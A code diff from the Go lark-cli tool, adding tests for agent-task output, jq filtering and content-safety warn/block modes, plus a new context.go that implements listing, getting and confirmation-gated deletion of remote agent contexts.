+	root := &cobra.Command{Use: "lark-cli"}
+	agentGroup := &cobra.Command{Use: "agents"}
+	leaf := &cobra.Command{Use: name}
+	root.AddCommand(agentGroup)
+	agentGroup.AddCommand(leaf)
+	if jq != "" {
+		leaf.Flags().String("jq", "", "")
+		_ = leaf.Flags().Set("jq", jq)
+	}
+	leaf.SetContext(context.Background())
+	return leaf
+}
+
+// emitFactory returns a Factory writing to fresh out/err buffers.
+func emitFactory() (*cmdutil.Factory, *bytes.Buffer, *bytes.Buffer) {
+	out := &bytes.Buffer{}
+	errOut := &bytes.Buffer{}
+	f := &cmdutil.Factory{
+		IOStreams:        &cmdutil.IOStreams{Out: out, ErrOut: errOut},
+		ResolvedIdentity: core.AsBot,
+	}
+	return f, out, errOut
+}
+
+// csProvider is a content-safety provider stub returning a fixed alert.
+type csProvider struct{ alert *extcs.Alert }
+
+func (p *csProvider) Name() string { return "test" }
+func (p *csProvider) Scan(context.Context, extcs.ScanRequest) (*extcs.Alert, error) {
+	return p.alert, nil
+}
+
+// TestEmitTask_PlainSuccess emits a task with no jq, no alert: the full envelope
+// lands on stdout with ok=true and the identity.
+func TestEmitTask_PlainSuccess(t *testing.T) {
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
+
+	next := []output.NextAction{{Label: "poll", Command: "lark-cli agents task get example:x chat_1"}}
+	if err := emitTask(f, cmd, task, next, "json"); err != nil {
+		t.Fatalf("emit should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
+	}
+	if !env.OK || env.Identity != string(core.AsBot) {
+		t.Errorf("ok/identity mismatch: %+v", env)
+	}
+	if !strings.Contains(out.String(), `"next"`) || !strings.Contains(out.String(), "poll") {
+		t.Errorf("meta.next should appear in the output: %s", out.String())
+	}
+}
+
+// TestEmitTask_NoNextOmitsMeta pins the omitempty branch (common.go line 113):
+// when next is nil or an empty (non-nil) slice, emitTask must leave env.Meta nil
+// so "meta" is absent from the serialized envelope. Covers both len(next)==0
+// inputs the branch can receive.
+func TestEmitTask_NoNextOmitsMeta(t *testing.T) {
+	for _, tc := range []struct {
+		name string
+		next []output.NextAction
+	}{
+		{"nil next", nil},
+		{"empty non-nil next", []output.NextAction{}},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			f, out, _ := emitFactory()
+			cmd := newEmitCmd("task", "")
+			task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
+
+			if err := emitTask(f, cmd, task, tc.next, "json"); err != nil {
+				t.Fatalf("emit should not error: %v", err)
+			}
+			var env output.Envelope
+			if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+				t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
+			}
+			if env.Meta != nil {
+				t.Errorf("Meta should be nil when len(next)==0, got %+v", env.Meta)
+			}
+			if strings.Contains(out.String(), `"meta"`) {
+				t.Errorf("meta should be omitted by omitempty when next is empty: %s", out.String())
+			}
+		})
+	}
+}
+
+// TestEmitTask_JqFilter routes stdout through a valid jq expression.
+func TestEmitTask_JqFilter(t *testing.T) {
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", ".data.state")
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
+		t.Fatalf("jq filtering should not error: %v", err)
+	}
+	if got := strings.TrimSpace(out.String()); got != "working" {
+		t.Errorf("jq .data.state should output working, got %q", got)
+	}
+}
+
+// TestEmitTask_JqFilterError surfaces a malformed jq expression as an error.
+func TestEmitTask_JqFilterError(t *testing.T) {
+	f, _, _ := emitFactory()
+	cmd := newEmitCmd("task", "{") // unbalanced → gojq.Parse fails
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err == nil {
+		t.Fatal("a malformed jq expression should error")
+	}
+}
+
+// TestEmitTask_ContentSafetyAlertWarn attaches a warn-mode alert to the envelope
+// without blocking output.
+func TestEmitTask_ContentSafetyAlertWarn(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
+		t.Fatalf("warn mode should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("unmarshal: %v (%s)", err, out.String())
+	}
+	if env.ContentSafetyAlert == nil {
+		t.Error("warn mode should attach the alert to the envelope")
+	}
+}
+
+// TestEmitTask_ContentSafetyAlertWarnWithJq exercises the WriteAlertWarning +
+// JqFilter branch: an alert plus a --jq expression writes a stderr warning and
+// still filters stdout.
+func TestEmitTask_ContentSafetyAlertWarnWithJq(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, errOut := emitFactory()
+	cmd := newEmitCmd("task", ".data.state")
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateWorking}
+
+	if err := emitTask(f, cmd, task, nil, "json"); err != nil {
+		t.Fatalf("warn+jq should not error: %v", err)
+	}
+	if got := strings.TrimSpace(out.String()); got != "working" {
+		t.Errorf("jq output should be working, got %q", got)
+	}
+	if !strings.Contains(errOut.String(), "content safety alert") {
+		t.Errorf("stderr should contain a content-safety warning, got %q", errOut.String())
+	}
+}
+
+// TestEmitTask_ContentSafetyBlocked returns the block error and writes nothing
+// to stdout.
+func TestEmitTask_ContentSafetyBlocked(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	task := &iagents.AgentTask{TaskID: "chat_1", State: iagents.StateCompleted, IsTerminal: true}
+
+	err := emitTask(f, cmd, task, nil, "json")
+	if err == nil {
+		t.Fatal("block mode should return BlockErr")
+	}
+	if !errs.IsContentSafety(err) {
+		t.Errorf("should be a content-safety error, got %T", err)
+	}
+	if out.Len() > 0 {
+		t.Errorf("block mode should not write to stdout, got %q", out.String())
+	}
+}
+
+// noPretty is a no-op pretty renderer for the scanAndEmitData helper tests,
+// which exercise the json path only.
+func noPretty(io.Writer) {}
+
+// TestScanAndEmitData_PlainSuccess pins the shared list/context emit helper's
+// happy path: no alert + json ⇒ the full envelope (ok + identity + data + meta)
+// lands on stdout.
+func TestScanAndEmitData_PlainSuccess(t *testing.T) {
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1"}}}
+
+	if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
+		t.Fatalf("emit should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("envelope should be valid JSON: %v (%s)", err, out.String())
+	}
+	if !env.OK || env.Identity != string(core.AsBot) {
+		t.Errorf("ok/identity mismatch: %+v", env)
+	}
+	if env.Meta == nil || env.Meta.Count != 1 {
+		t.Errorf("meta.count should be 1, got %+v", env.Meta)
+	}
+}
+
+// TestScanAndEmitData_ContentSafetyBlocked pins that the shared list/context
+// emit helper now runs content-safety scanning (these payloads carry untrusted
+// agent text): in block mode it returns the typed block error and writes
+// nothing.
+func TestScanAndEmitData_ContentSafetyBlocked(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1", Summary: "leaked secret"}}}
+
+	err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty)
+	if err == nil {
+		t.Fatal("block mode should return BlockErr")
+	}
+	if !errs.IsContentSafety(err) {
+		t.Errorf("should be a content-safety error, got %T", err)
+	}
+	if out.Len() > 0 {
+		t.Errorf("block mode should not write to stdout, got %q", out.String())
+	}
+}
+
+// TestScanAndEmitData_ContentSafetyAlertWarn pins that a warn-mode alert is
+// attached to the envelope without blocking output.
+func TestScanAndEmitData_ContentSafetyAlertWarn(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "warn")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	f, out, _ := emitFactory()
+	cmd := newEmitCmd("task", "")
+	data := map[string]interface{}{"tasks": []iagents.TaskSummary{{TaskID: "chat_1"}}}
+
+	if err := scanAndEmitData(f, cmd, "json", data, &output.Meta{Count: 1}, noPretty); err != nil {
+		t.Fatalf("warn mode should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("unmarshal: %v (%s)", err, out.String())
+	}
+	if env.ContentSafetyAlert == nil {
+		t.Error("warn mode should attach the alert to the envelope")
+	}
+}
+
+// TestTaskListContentSafetyBlocked pins the wiring at the task-list leaf: its
+// summaries carry untrusted agent text, so a block-mode content-safety hit
+// aborts the emit with the typed block error and writes nothing (task list used
+// to PrintJson directly and bypass scanning).
+func TestTaskListContentSafetyBlocked(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	opts, _ := taskTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listTasks: func(string, iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
+		return []iagents.TaskSummary{{TaskID: "chat_1", State: iagents.StateCompleted, Summary: "untrusted"}}, iagents.PageInfo{}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	err := agentTaskListRun(opts)
+	if err == nil || !errs.IsContentSafety(err) {
+		t.Fatalf("task list should block on a content-safety hit, got %T: %v", err, err)
+	}
+	if len(out.Bytes()) > 0 {
+		t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
+	}
+}
+
+// TestContextGetContentSafetyBlocked pins the same wiring at context get, whose
+// active_task.Summary is untrusted agent text.
+func TestContextGetContentSafetyBlocked(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "block")
+	extcs.Register(&csProvider{alert: &extcs.Alert{Provider: "test", MatchedRules: []string{"r1"}}})
+	defer extcs.Register(nil)
+
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagents.ContextDetail, error) {
+		return &iagents.ContextDetail{
+			ContextID: ctxID, TaskCount: iagents.Int(1),
+			ActiveTask: &iagents.TaskSummary{TaskID: "chat_1", State: iagents.StateCompleted, Summary: "untrusted"},
+		}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	err := agentContextGetRun(opts)
+	if err == nil || !errs.IsContentSafety(err) {
+		t.Fatalf("context get should block on a content-safety hit, got %T: %v", err, err)
+	}
+	if len(out.Bytes()) > 0 {
+		t.Errorf("block mode should not write to stdout, got %q", out.Bytes())
+	}
+}
+
+// resolveCmd builds an `agents card` command carrying an `--as` flag. When
+// asChanged is true the flag is marked as explicitly set, so ResolveAs honors
+// the passed identity verbatim (needed to exercise the identity-check branch).
+func resolveCmd(t *testing.T, asChanged bool, asVal string) *cobra.Command {
+	t.Helper()
+	root := &cobra.Command{Use: "lark-cli"}
+	group := &cobra.Command{Use: "agents"}
+	leaf := &cobra.Command{Use: "card"}
+	root.AddCommand(group)
+	group.AddCommand(leaf)
+	leaf.Flags().String("as", "", "identity")
+	if asChanged {
+		if err := leaf.Flags().Set("as", asVal); err != nil {
+			t.Fatal(err)
+		}
+	}
+	leaf.SetContext(context.Background())
+	return leaf
+}
+
+// TestResolveSpec_Success resolves a valid example ref under an explicit bot
+// identity and returns a non-nil spec offline (no client).
+func TestResolveSpec_Success(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	prov, spec, agentID, id, err := resolveSpec(f, cmd, "example:echo", "bot")
+	if err != nil {
+		t.Fatalf("a valid ref + bot should succeed: %v", err)
+	}
+	if spec == nil || spec.Send.Handler == nil {
+		t.Fatal("should return a non-nil spec with core hooks")
+	}
+	if prov.Scheme != "example" || agentID != "echo" {
+		t.Errorf("provider/agent id: scheme=%q agentID=%q", prov.Scheme, agentID)
+	}
+	if id != core.AsBot {
+		t.Errorf("identity should be bot, got %s", id)
+	}
+}
+
+// TestResolveSpec_MalformedRef wraps a ParseRef failure into an
+// invalid_argument validation error (exit 2).
+func TestResolveSpec_MalformedRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	_, _, _, _, err := resolveSpec(f, cmd, "no-colon", "bot")
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, _ := errs.ProblemOf(err)
+	if p == nil || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	// A malformed ref teaches the <scheme>:<agent_id> shape.
+	if !strings.Contains(p.Hint, "<scheme>:<agent_id>") {
+		t.Errorf("malformed-ref hint should teach the ref shape, got %q", p.Hint)
+	}
+}
+
+// TestResolveSpec_UnknownScheme rejects an unregistered provider scheme.
+func TestResolveSpec_UnknownScheme(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	_, _, _, _, err := resolveSpec(f, cmd, "nope:agt_x", "bot")
+	if err == nil {
+		t.Fatal("an unknown scheme should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, _ := errs.ProblemOf(err)
+	if p == nil || !strings.Contains(p.Hint, "agents list") {
+		t.Errorf("unknown-scheme hint should point to `agents list`, got %+v", p)
+	}
+}
+
+// TestResolveSpec_UnknownCatalogID rejects an unknown catalog entry id — the
+// framework validates it offline (a change from the old construct-only path).
+func TestResolveSpec_UnknownCatalogID(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "bot")
+
+	_, spec, _, _, err := resolveSpec(f, cmd, "example:nope", "bot")
+	if err == nil || spec != nil {
+		t.Fatal("an unknown catalog id should error with a nil spec")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestResolveSpec_IdentityRejected fails the user|bot whitelist when an
+// unsupported --as is explicitly requested; no spec is returned.
+func TestResolveSpec_IdentityRejected(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	cmd := resolveCmd(t, true, "admin")
+
+	_, spec, _, _, err := resolveSpec(f, cmd, "example:echo", "admin")
+	if err == nil {
+		t.Fatal("an unsupported identity should error")
+	}
+	if spec != nil {
+		t.Error("should not return a spec when identity validation fails")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestRuntimeFor_APIClientError surfaces a NewAPIClient failure (Config error).
+func TestRuntimeFor_APIClientError(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("config boom") }
+
+	if _, err := runtimeFor(f, core.AsBot, "echo", nil); err == nil {
+		t.Fatal("a Config error should propagate")
+	}
+}
+
+// unconfiguredFactory returns a Factory whose Config() errors (simulating a
+// fresh install that hasn't run `config init`), so NewAPIClient fails. Used to
+// pin that the API-free paths never reach the config gate.
+func unconfiguredFactory(t *testing.T) *cmdutil.Factory {
+	t.Helper()
+	f, _, _, _ := cmdutil.TestFactory(t, nil)
+	f.Config = func() (*core.CliConfig, error) { return nil, errors.New("not configured") }
+	return f
+}
+
+// TestResolveSpec_WorksWhenUnconfigured guards the acceptance regression: offline
+// resolution must NOT touch NewAPIClient, so it succeeds even when Config errors,
+// while runtimeFor (the client path) still fails at the config gate.
+func TestResolveSpec_WorksWhenUnconfigured(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	_, spec, _, id, err := resolveSpec(f, cmd, "example:echo", "bot")
+	if err != nil {
+		t.Fatalf("offline resolution should succeed when unconfigured: %v", err)
+	}
+	if spec == nil || id != core.AsBot {
+		t.Fatalf("should return spec + bot identity, got spec=%v id=%s", spec, id)
+	}
+	if _, err := runtimeFor(f, id, "echo", nil); err == nil {
+		t.Fatal("the client path (runtimeFor) should error when unconfigured (config gate)")
+	}
+}
+
+// TestResolveSpec_ValidatesRefBeforeConfig pins that a malformed ref / unknown
+// scheme is a validation error (exit 2) even when unconfigured — it must not be
+// masked by not_configured.
+func TestResolveSpec_ValidatesRefBeforeConfig(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	for _, ref := range []string{"no-colon", "nope:agt_x"} {
+		_, _, _, _, err := resolveSpec(f, cmd, ref, "bot")
+		if err == nil {
+			t.Fatalf("ref %q should also report a validation error when unconfigured", ref)
+		}
+		if !errs.IsValidation(err) {
+			t.Fatalf("ref %q should be a validation error, got %T", ref, err)
+		}
+	}
+}
+
+// TestAgentCardRun_WorksUnconfigured guards the acceptance regression: `agent
+// card` is statically synthesized and must succeed unconfigured, never hitting
+// the config gate.
+func TestAgentCardRun_WorksUnconfigured(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	if err := agentCardRun(&cardOptions{Factory: f, Cmd: cmd, Ref: "example:echo", As: "bot", Format: "json"}); err != nil {
+		t.Fatalf("agents card should succeed when unconfigured (API-free): %v", err)
+	}
+}
+
+// TestAgentSendRun_DryRunWorksUnconfigured guards the acceptance regression:
+// `agents send --dry-run` is a client-side preview and must succeed
+// unconfigured — the example echo card declares no parameters, so no --param is
+// needed. A malformed --param must still surface as validation, unconfigured.
+func TestAgentSendRun_DryRunWorksUnconfigured(t *testing.T) {
+	f := unconfiguredFactory(t)
+	cmd := resolveCmd(t, true, "bot")
+
+	err := agentSendRun(&sendOptions{
+		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi", DryRun: true, As: "bot",
+	})
+	if err != nil {
+		t.Fatalf("send --dry-run should succeed when unconfigured: %v", err)
+	}
+
+	// A malformed --param (no '=') is still a validation error, unconfigured.
+	err = agentSendRun(&sendOptions{
+		Factory: f, Cmd: cmd, Ref: "example:echo", Text: "hi",
+		Params: []string{"noequals"}, DryRun: true, As: "bot",
+	})
+	if err == nil || !errs.IsValidation(err) {
+		t.Fatalf("a malformed --param should report a validation error when unconfigured, got %v", err)
+	}
+}

cmd/agents/context.go

@@ -0,0 +1,316 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"fmt"
+	"io"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// contextOptions holds all inputs for the `agents context list|get|delete`
+// leaves. A single struct backs all three so the shared fields (Factory, Cmd,
+// Ref, As) are wired once; each RunE reads only the fields its verb needs.
+type contextOptions struct {
+	Factory   *cmdutil.Factory
+	Cmd       *cobra.Command
+	Ref       string
+	CtxID     string
+	Params    []string
+	Yes       bool
+	As        string
+	Format    string
+	PageSize  int
+	PageToken string
+}
+
+// NewCmdAgentContext builds the `agents context` command group: manage a remote
+// agent's multi-turn contexts (each verb gated on its own capability:
+// context_list / context_get / context_delete). It is a pure group with
+// no RunE so an unknown subcommand is reported rather than silently swallowed.
+func NewCmdAgentContext(f *cmdutil.Factory) *cobra.Command {
+	cmd := &cobra.Command{
+		Use:   "context",
+		Short: "Manage a remote agent's multi-turn contexts (sessions)",
+		Long:  "context list <agent_ref> lists sessions; context get <agent_ref> <ctx-id> shows session detail; context delete <agent_ref> <ctx-id> deletes a session (high-risk, needs --yes).",
+	}
+	cmd.AddCommand(NewCmdAgentContextList(f))
+	cmd.AddCommand(NewCmdAgentContextGet(f))
+	cmd.AddCommand(NewCmdAgentContextDelete(f))
+	return cmd
+}
+
+// NewCmdAgentContextList builds `agents context list <ref>`: enumerate the
+// agent's multi-turn contexts into {contexts:[...]} with a meta.count. Risk=read.
+func NewCmdAgentContextList(f *cmdutil.Factory) *cobra.Command {
+	opts := &contextOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "list <agent_ref>",
+		Short: "List a remote agent's multi-turn contexts",
+		Long:  "List the multi-turn contexts (sessions) of the agent addressed by agent_ref.",
+		Args:  exactArgsWithUsage(1),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			if err := validatePageSize(opts.PageSize); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			return agentContextListRun(opts)
+		},
+	}
+	addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentContextGet builds `agents context get <ref> <ctx-id>`: fetch a
+// single context's detail. Risk=read.
+func NewCmdAgentContextGet(f *cmdutil.Factory) *cobra.Command {
+	opts := &contextOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "get <agent_ref> <ctx-id>",
+		Short: "Show the detail of a single multi-turn context",
+		Long:  "Show the detail of the multi-turn context ctx-id under the agent addressed by agent_ref.",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.CtxID = args[1]
+			return agentContextGetRun(opts)
+		},
+	}
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
+	return cmd
+}
+
+// NewCmdAgentContextDelete builds `agents context delete <ref> <ctx-id>`: destroy
+// a multi-turn context. Deletion is irreversible, so it is high-risk-write and
+// requires --yes; without it the command returns a confirmation_required error
+// (exit 10) before touching the API. Risk=high-risk-write.
+func NewCmdAgentContextDelete(f *cmdutil.Factory) *cobra.Command {
+	opts := &contextOptions{Factory: f}
+	cmd := &cobra.Command{
+		Use:   "delete <agent_ref> <ctx-id>",
+		Short: "Delete a remote agent's multi-turn context (high-risk, needs --yes)",
+		Long:  "Delete the multi-turn context ctx-id under the agent addressed by agent_ref. Deletion is irreversible and requires --yes to confirm; otherwise it returns confirmation_required (exit 10).",
+		Args:  exactArgsWithUsage(2),
+		RunE: func(cmd *cobra.Command, args []string) error {
+			if err := validateFormat(opts.Format); err != nil {
+				return err
+			}
+			opts.Cmd = cmd
+			opts.Ref = args[0]
+			opts.CtxID = args[1]
+			return agentContextDeleteRun(opts)
+		},
+	}
+	cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认删除（高危操作，不加则返回 exit 10）")
+	addParamFlag(cmd, &opts.Params)
+	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
+	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
+	addAsFlag(cmd, f, &opts.As)
+	cmdutil.SetRisk(cmd, cmdutil.RiskHighRiskWrite)
+	return cmd
+}
+
+// agentContextListRun runs `context list`: resolves the provider, lists
+// contexts in the provider's most-recent-first order, and emits {contexts:[...]}
+// with meta.count through content-safety scanning (the rollup is derived from
+// untrusted agent activity).
+func agentContextListRun(opts *contextOptions) error {
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	// Capability gate BEFORE the client: context_list is derived from ListContexts
+	// being wired, so a spec without it returns unsupported_capability offline.
+	if spec.ListContexts.Handler == nil {
+		return capabilityError(opts.Ref, "context list", iagents.CapContextList)
+	}
+	// Per-capability brand gate: applies only to a wired op.
+	if err := opBrandGate(f, spec.ListContexts.Brands, opts.Ref, "context list"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.ListContexts.Params, iagents.VerbContextList, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	contexts, pageInfo, err := spec.ListContexts.Handler(opts.Cmd.Context(), rt,
+		iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
+	if err != nil {
+		return err
+	}
+	// Ordering is the provider's contract (most-recent-first), consistent across
+	// and within pages — the CLI does not re-sort a page.
+	if contexts == nil {
+		contexts = []iagents.ContextSummary{} // always emit [] not null (matches the Card.Parameters array convention)
+	}
+	return scanAndEmitData(f, opts.Cmd, opts.Format,
+		map[string]interface{}{"contexts": contexts},
+		listMetaPage(len(contexts), pageInfo, contextListNext(opts, f, pageInfo)),
+		func(w io.Writer) { printContextsTSV(w, contexts) })
+}
+
+// contextListNext builds the next-page action for `context list`, replaying the
+// caller's ref with the returned cursor. The ref is gated by safeNextRef; a
+// failing ref drops the action (the cursor still rides meta.page_token as data).
+func contextListNext(opts *contextOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
+	if !safeNextRef(opts.Ref) {
+		return nil
+	}
+	next := nextPageAction(fmt.Sprintf("lark-cli agents context list %s", opts.Ref), opts.PageSize, info)
+	carryAsIntoNext(opts.Cmd, f, next)
+	return next
+}
+
+// agentContextGetRun runs `context get`: resolves the provider, fetches the
+// context detail (metadata + rollup + the single active_task, NOT the full task
+// list), derives the active task's IsTerminal, and emits it through
+// content-safety scanning (active_task.Summary is untrusted agent text).
+func agentContextGetRun(opts *contextOptions) error {
+	f := opts.Factory
+	_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
+	if err != nil {
+		return err
+	}
+	// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
+	// unavailable_for_brand uniformly for every verb — even one it does not wire —
+	// so it must precede the capability nil-gate below.
+	if err := brandGate(f, spec, opts.Ref); err != nil {
+		return err
+	}
+	// Capability gate BEFORE the client.
+	if spec.GetContext.Handler == nil {
+		return capabilityError(opts.Ref, "context get", iagents.CapContextGet)
+	}
+	// Per-capability brand gate: applies only to a wired op.
+	if err := opBrandGate(f, spec.GetContext.Brands, opts.Ref, "context get"); err != nil {
+		return err
+	}
+	vp, err := validateParams(opts.Params, spec.GetContext.Params, iagents.VerbContextGet, spec, opts.Ref)
+	if err != nil {
+		return err
+	}
+	rt, err := runtimeFor(f, id, agentID, vp.Resolved)
+	if err != nil {
+		return err
+	}
+	// Local scope preflight: after runtimeFor, before the API call.
+	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
+		return err
+	}
+	detail, err := spec.GetContext.Handler(opts.Cmd.Context(), rt, opts.CtxID)
+	if err != nil {
+		return err
+	}
+	if detail != nil && detail.ActiveTask != nil {
+		// Derive IsTerminal from State (single source of truth) for the active task
+		// summary before emission — the provider only fills State.
+		detail.ActiveTask.IsTerminal = detail.ActiveTask.State.IsTerminal()
+	}
+	return scanAndEmitData(f, opts.Cmd, opts.Format, detail, nil,
